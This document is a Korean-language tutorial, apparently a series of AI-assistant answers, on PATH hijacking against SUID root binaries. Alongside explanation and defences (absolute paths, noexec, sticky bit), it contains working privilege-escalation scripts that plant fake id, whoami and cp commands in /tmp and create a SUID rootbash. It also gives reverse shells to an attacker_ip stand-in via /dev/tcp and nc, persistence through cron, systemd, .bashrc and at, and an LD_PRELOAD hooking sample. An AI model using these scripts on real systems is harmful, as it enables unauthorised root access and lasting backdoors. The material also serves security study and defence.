PATH 하이재킹이란?
운영체제의
$PATH환경변수(PATH Environment Variable) 를 조작하여, 시스템이 실행하려는 정상 명령어(binary) 대신 공격자가 만든 악성 실행파일(malicious executable) 을 먼저 실행되도록 유도하는 공격 기법.
| 구분 | 설명 |
|---|---|
| 역할 | 시스템이 명령어 검색 시 참조하는 경로 우선순위를 악용하여, 가짜 실행파일이 정상 명령어 대신 실행되도록 함 |
| 목적 | 루트 권한 탈취(SUID Binary 이용), 악성 코드 삽입, 시스템 장악 등 |
| 구성요소 | 설명 |
|---|---|
$PATH 환경변수 | 명령어 검색 경로 목록. :으로 구분된 디렉토리 목록 |
| SUID 바이너리 | 루트 권한으로 실행되는 프로그램. 절대경로 없이 명령어 실행 시 취약점 발생 가능 |
| 악성 스크립트 | 공격자가 $PATH 앞쪽에 위치시킨 가짜 명령어 스크립트 |
| export 명령어 | export PATH=/tmp:$PATH 등을 통해 PATH 앞쪽에 공격자가 만든 디렉토리 삽입 |
system("id"))$PATH에 나열된 디렉토리 순서대로 id 파일을 찾음id 라는 악성 스크립트를 심어둠즉, “누가 먼저 PATH에 등록됐냐”에 따라 실행 결과가 완전히 달라짐
| 조건 | 설명 |
|---|---|
| SUID root 바이너리 | 루트 권한을 가진 바이너리 실행파일 |
| 절대 경로 없이 명령 실행 | system("id") vs system("/usr/bin/id") |
| 공격자가 PATH 수정 가능 | 환경변수 조작 권한 필요 |
| 쓰기 가능한 디렉토리 (/tmp 등) | 공격자가 가짜 명령어를 심을 수 있어야 함 |
| 종류 | 설명 |
|---|---|
| 일반 PATH 하이재킹 | $PATH 앞에 디렉토리를 추가하여 실행 순서를 변경 |
| 환경 변수 오염 (Environment Variable Injection) | LD_PRELOAD, LD_LIBRARY_PATH 등 다른 환경변수를 조작 |
| 디렉토리 하이재킹 | /usr/bin 같은 디렉토리를 재마운트하거나 바꿔치기 |
| 용어 | 의미 |
|---|---|
$PATH | 명령어 검색 디렉토리 경로 목록 |
SUID (Set User ID) | 실행 시 실행자 권한이 아닌 파일 소유자 권한으로 동작 |
system() | C 언어에서 쉘 명령어를 실행하는 함수 |
export | 환경변수를 설정하는 쉘 명령어 |
chmod +x | 파일에 실행 권한을 부여 |
| 특징 | 설명 |
|---|---|
| 취약점 발생 위치가 명확치 않음 | 코드 내부의 system() 호출 등으로 추적 어려움 |
| 매우 단순하지만 효과적 | 설정 몇 줄로 root shell 획득 가능 |
| 사용자 실수 및 설계 오류 악용 | 경로 하드코딩 누락 등 |
| 탐지 어려움 | 공격 흔적이 일시적, 흔히 사용되는 디렉토리 이용 |
| 구분 | 장점 | 단점 |
|---|---|---|
| 공격자 입장 | 루트 권한 탈취 가능, 도구 거의 필요 없음 | 환경변수 수정 제한, SUID 바이너리 필요 |
| 방어자 입장 | 단순한 정책/코딩 실수로 쉽게 방어 가능 | 코드 리뷰 없을 경우 취약점 발견 어려움 |
# 1. /tmp 디렉토리에 악성 id 생성
echo '#!/bin/bash' > /tmp/id
echo '/bin/bash' >> /tmp/id
chmod +x /tmp/id
# 2. PATH 앞에 /tmp 삽입
export PATH=/tmp:$PATH
# 3. 대상 프로그램 실행
/usr/sbin/pwm # SUID root이고 내부에서 system("id") 호출 시 root 쉘
| 방법 | 설명 |
|---|---|
| 명령어 호출 시 절대 경로 사용 | system("/usr/bin/id") |
$PATH 환경변수 고정 | PATH 하드코딩 또는 최소 권한 디렉토리만 포함 |
SUID 바이너리에서 system() 사용 금지 | execve() 함수 등으로 대체 |
| tmp 디렉토리 퍼미션 제한 | Sticky bit 설정, 실행권한 제한 등 |
시스템은 “명령어(id)”를 찾을 때, “어디서 먼저 찾을까?” 라고 생각해요.
만약 공격자가 먼저 찾히는 곳(/tmp) 에 가짜 id 를 만들어두면?
진짜 대신 가짜가 실행돼요!
이걸 이용해서 루트 권한으로 쉘 열기도 할 수 있어요! 😈
strace: 시스템 호출 추적 도구 → 어떤 명령이 실행되는지 추적 가능SUID + system() 사용의 위험성 → 백도어로 악용될 수 있음/usr/bin/something 이 SUID root로 되어 있고, 내부에서 system("whoami") 호출할 때, PATH=/tmp:$PATH 하고 /tmp/whoami에 /bin/bash 넣는 식으로 exploit.좋습니다! 앞에서 PATH 하이재킹의 원리와 구조를 깊게 설명했으니, 이번에는 이어서 다음 내용을 심화 설명드리겠습니다:
strace 를 이용한 실제 동작 확인 (실행 흐름 추적)strace는 시스템 호출을 추적하는 도구입니다. 프로그램이 어떤 명령어를 실행했는지, 어떤 파일을 열었는지, 어디에서 실패했는지 등을 확인할 수 있습니다.
system("id") 를 사용하는 바이너리 분석# strace 명령어로 실행 추적
strace /usr/sbin/pwm 2>&1 | grep exec
execve("/usr/sbin/pwm", ["/usr/sbin/pwm"], 0x7ffed58dbf38 /* 50 vars */) = 0
execve("/usr/local/bin/id", ["id"], 0x7ffed58dbf38 /* 50 vars */) = -1 ENOENT
execve("/usr/bin/id", ["id"], 0x7ffed58dbf38 /* 50 vars */) = 0
/usr/sbin/pwm이 id 명령을 실행할 때 절대 경로가 아닌 이름만 사용했음을 알 수 있음execve() 시스템 호출이 일어남✅ 공격자는
/tmp/id를 먼저 찾도록 PATH를 조작하면/usr/bin/id가 아니라 가짜가 실행됨!
# 1. 공격자가 /tmp 디렉토리에 악성 id 생성
echo -e '#!/bin/bash\n/bin/bash' > /tmp/id
chmod +x /tmp/id
# 2. 공격자가 PATH를 조작
export PATH=/tmp:$PATH
# 3. SUID 바이너리 실행
/usr/sbin/pwm
echo -e '#!/bin/bash\necho "Got root!" && /bin/bash' > /tmp/whoami
chmod +x /tmp/whoami
export PATH=/tmp:$PATH
/usr/sbin/suid_binary # 내부에서 whoami 실행 시 exploit
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod +s /tmp/rootbash' > /tmp/cp
chmod +x /tmp/cp
export PATH=/tmp:$PATH
/usr/sbin/suid_program_that_calls_cp
/tmp/rootbash 가 SUID root 로 변경됨 → ./rootbash -p 로 루트 쉘echo -e '#!/bin/bash\necho "owned" >> /tmp/hacked.log' > /tmp/echo
chmod +x /tmp/echo
export PATH=/tmp:$PATH
/usr/sbin/log_writer_binary
SUID 루트 바이너리가 다음과 같은 방식으로 명령을 실행할 경우 취약해질 수 있습니다:
// 내부 코드 (C언어 예시)
#include <stdlib.h>
void vuln() {
system("id");
}
// 내부 bash 스크립트
#!/bin/bash
whoami
이 경우, 절대경로 사용 안함 → 공격자에게 기회 제공.
| 기법 | 설명 | 조건 |
|---|---|---|
PATH 하이재킹 | 가짜 명령어가 먼저 실행되도록 경로 우선순위 변경 | 내부 명령 실행이 상대경로일 때 |
LD_PRELOAD 하이재킹 | 라이브러리 대신 가짜 동적 라이브러리를 로딩 | SUID에서는 무효 |
LD_LIBRARY_PATH | 공유 라이브러리 검색 경로 변경 | 마찬가지로 SUID 바이너리에선 제한됨 |
LD_*계열은 보통 SUID 프로그램에는 무시됩니다.
그러므로 SUID 바이너리를 노릴 때는 PATH 하이재킹이 더 효과적입니다.
| 방법 | 설명 |
|---|---|
| 절대 경로 사용 | system("/usr/bin/id") 처럼 정확한 위치 명시 |
| PATH 고정 | PATH=/usr/bin:/bin 식으로 고정값만 사용 |
| 환경변수 초기화 | 프로그램 시작 시 불필요한 env 제거 |
| tmp 사용 제한 | /tmp에 실행 권한 없도록 mount 옵션 적용 (noexec) |
| 프로그램 검증 | strace, lsof, checksec 도구로 취약한 SUID 바이너리 확인 |
[공격자 권한 획득된 쉘]
↓
[가짜 명령어 제작 (id, whoami 등)]
↓
[실행 권한 부여 → chmod +x]
↓
[PATH 환경변수 앞쪽에 삽입 → export PATH=/tmp:$PATH]
↓
[SUID Binary 실행 (내부에서 system()으로 명령 실행)]
↓
[가짜 명령어 먼저 실행됨 → 악성 코드 동작]
↓
[root shell 획득 or 권한 상승]
| 도구 | 역할 |
|---|---|
strace | 내부 명령어 흐름 추적 |
checksec | 바이너리 보안 설정 확인 (SUID 여부 등) |
find / -perm -4000 -type f 2>/dev/null | 시스템 내 SUID 바이너리 탐색 |
env | 현재 환경변수 확인 |
strings | 바이너리 내부 문자열 분석 (어떤 명령 호출하는지 파악) |
SUID 바이너리를 보면 가장 먼저:
strings binaryname 으로 내부 명령 확인strace로 어떤 명령어를 실행하는지 실시간 확인네! 말씀하신 4가지 주제에 대해 심층적으로 자세히 설명드리겠습니다.
| 개념 | 파일 시스템 권한 비트 중 하나로, 주로 디렉토리에 적용됨 |
|---|---|
| 목적 | 디렉토리 내 파일을 오직 소유자, 디렉토리 소유자, root만 삭제할 수 있도록 제한 |
| 주로 적용되는 곳 | /tmp, /var/tmp 등 공용 임시 디렉토리 |
설명:
/tmp 같은 공용 디렉토리는 여러 사용자가 파일을 만들고 삭제할 수 있는데, sticky bit가 없으면 다른 사용자가 나의 파일을 삭제할 수 있습니다. sticky bit를 설정하면 오직 본인만 자신의 파일을 삭제하거나 이름 변경 가능.
설정 방법:
chmod +t /tmp
효과:
사용자 A가 만든 악성 스크립트를 사용자 B가 삭제하지 못하게 방지해 줌.
| 개념 | 특정 디렉토리에서 실행 권한을 제한하는 마운트 옵션 |
|---|---|
| 목적 | /tmp 같은 디렉토리에서 실행파일 실행 금지 (실행 제한) |
| 효과 | /tmp에 악성 스크립트를 심어도 실행이 되지 않음 |
설정 예시:
mount -o remount,noexec /tmp
/etc/fstab에 다음과 같이 설정할 수도 있음:
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0
방어 효과:
악성 스크립트를 /tmp에 심더라도 실행 자체가 불가능하여 PATH 하이재킹 방지에 큰 도움.
LD_PRELOAD는 동적 라이브러리를 실행 시 프로세스에 강제로 먼저 로드하는 환경 변수입니다.
/lib나 /usr/lib에서 로드됨LD_PRELOAD에 지정된 라이브러리가 가장 먼저 로드되어, 기존 라이브러리 함수(예: open, execve 등)를 가로챔export LD_PRELOAD=/tmp/malicious.so
./vulnerable_program
malicious.so에서 open(), execve() 같은 시스템 호출 후킹 가능LD_PRELOAD는 무시됨!LD_PRELOAD는 자동 제거됨LD_PRELOAD 하이재킹은 SUID가 아닌 일반 권한 프로그램에서 주로 사용예:
#!/bin/bash
/bin/bash
bash -i >& /dev/tcp/attacker_ip/1234 0>&1
| 방법 | 설명 |
|---|---|
| 백도어 서비스 설치 | cron, systemd 등에 쉘 스크립트 등록하여 주기 실행 |
.bashrc, .profile 수정 | 로그인 시 악성 명령 자동 실행 |
at 명령어 예약 | 단발성 쉘 실행 예약 |
| 리버스 쉘 유지 | while true; do bash -i >& /dev/tcp/...; sleep 10; done |
(crontab -l 2>/dev/null; echo "* * * * * /tmp/rev_shell.sh") | crontab -
#!/bin/bash
# 1. 공격용 가짜 명령어 생성 (/tmp/id)
echo -e '#!/bin/bash\n/bin/bash' > /tmp/id
chmod +x /tmp/id
# 2. PATH 앞쪽에 /tmp 추가
export PATH=/tmp:$PATH
# 3. 취약 SUID 바이너리 실행
/usr/sbin/pwm
# 4. 쉘이 떨어지지 않으면 아래 커맨드 직접 실행 가능
# /tmp/id
#!/bin/bash
declare -A payloads
payloads=( ["id"]="/bin/bash" ["whoami"]="echo Got Root && /bin/bash" ["cp"]="cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" )
for cmd in "${!payloads[@]}"; do
echo -e "#!/bin/bash\n${payloads[$cmd]}" > /tmp/$cmd
chmod +x /tmp/$cmd
done
export PATH=/tmp:$PATH
/usr/sbin/pwm
네! 세 주제 모두 심층적으로 깊이 있게 설명드리겠습니다.
동작 원리:
디렉토리에 sticky bit가 있으면
사용 예: /tmp 디렉토리
ls -ld /tmp
drwxrwxrwt 12 root root 4096 Jun 20 15:00 /tmp
↑
└ sticky bit (t)
/tmp는 모든 사용자에게 쓰기 권한이 있지만, sticky bit(t)가 있어서취약점 방어에 미치는 영향:
/tmp에 악성 스크립트 파일을 만들더라도/tmp를 완전히 비워서 방어하는 공격자는 제한됨.noexec는 마운트 옵션 중 하나로, 해당 파일 시스템 내에서 실행 권한을 가진 파일도 실행을 막는 옵션입니다.
noexec 마운트에서는 실행 불가/tmp와 같은 임시 파일 시스템에서 설정실제 동작:
mount -o remount,noexec /tmp
/tmp를 다시 마운트하면서 noexec 옵션 적용/tmp 내에서 실행권한이 있어도 ./script.sh 같은 실행 불가검증:
/tmp$ echo -e '#!/bin/bash\necho hello' > test.sh
/tmp$ chmod +x test.sh
/tmp$ ./test.sh
bash: ./test.sh: Permission denied
방어 효과:
/tmp에 악성 스크립트 심어도 실행 불가 → PATH 하이재킹 차단bash /tmp/test.sh는 실행됨, ./test.sh는 안 됨)대응:
/tmp에 noexec 적용 권장LD_PRELOAD 환경변수에 지정된 라이브러리를 최우선으로 로드하여 기존 함수 호출을 가로챕니다.동작 순서:
LD_PRELOAD 경로의 .so 파일을 로드.so 내부에서 기존 함수(예: open, execve)를 재정의malicious.so C 코드 일부:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
int open(const char *pathname, int flags) {
static int (*orig_open)(const char *, int) = NULL;
if (!orig_open) {
orig_open = dlsym(RTLD_NEXT, "open");
}
printf("open called for: %s\n", pathname);
return orig_open(pathname, flags);
}
open 호출 시 로그 출력 후 원래 함수 호출LD_PRELOAD는 보안 상 자동으로 무시됨open 등 시스템 함수 호출로 수행하는 경우LD_PRELOAD 라이브러리를 사용해 권한 상승 시도 가능| 방법 | 설명 | 장점 | 단점 |
|---|---|---|---|
| 단순 쉘 실행 | #!/bin/bash + /bin/bash 호출 | 간단 | 쉘 끊어지면 종료 |
| 리버스 쉘 연결 | bash -i >& /dev/tcp/ip/port 0>&1 | 외부 접속 가능 | 방화벽/네트워크 제약 |
| 포워드 쉘 | nc -e /bin/bash ip port | 공격자 접속 시 실행 | nc 없으면 실패 |
(crontab -l 2>/dev/null; echo "* * * * * /tmp/rev_shell.sh") | crontab -
/tmp/rev_shell.sh 실행cat <<EOF > /etc/systemd/system/revshell.service
[Unit]
Description=Reverse Shell
[Service]
ExecStart=/tmp/rev_shell.sh
[Install]
WantedBy=multi-user.target
EOF
systemctl enable revshell.service
systemctl start revshell.service
~/.bashrc 또는 /etc/profile 등에 쉘 실행 명령 추가echo "/tmp/rev_shell.sh" >> ~/.bashrc
echo "/tmp/rev_shell.sh" | at now + 1 minute
#!/bin/bash
while true; do
bash -i >& /dev/tcp/attacker_ip/1234 0>&1
sleep 10
done
strings /usr/sbin/pwm | grep -E 'id|whoami|cp|mv|echo'
for cmd in id whoami cp; do
echo -e '#!/bin/bash\n/bin/bash' > /tmp/$cmd
chmod +x /tmp/$cmd
done
export PATH=/tmp:$PATH
/usr/sbin/pwm
/tmp/id 직접 실행해도 됨#!/bin/bash
# 가짜 명령어와 페이로드 정의
declare -A payloads
payloads=(
[id]="/bin/bash"
[whoami]="echo 'Got root!' && /bin/bash"
[cp]="cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"
)
# 가짜 명령어 생성
for cmd in "${!payloads[@]}"; do
echo -e "#!/bin/bash\n${payloads[$cmd]}" > /tmp/$cmd
chmod +x /tmp/$cmd
done
# PATH 우선순위 변경
export PATH=/tmp:$PATH
# 취약한 SUID 바이너리 실행
/usr/sbin/pwm
# SUID 바이너리 리스트 출력
find / -perm -4000 -type f 2>/dev/null > suid_bins.txt
# checksec 설치 후 권한 확인 자동화 (예: checksec --file=filename)
while read -r bin; do
echo "Checking $bin"
checksec --file=$bin
done < suid_bins.txt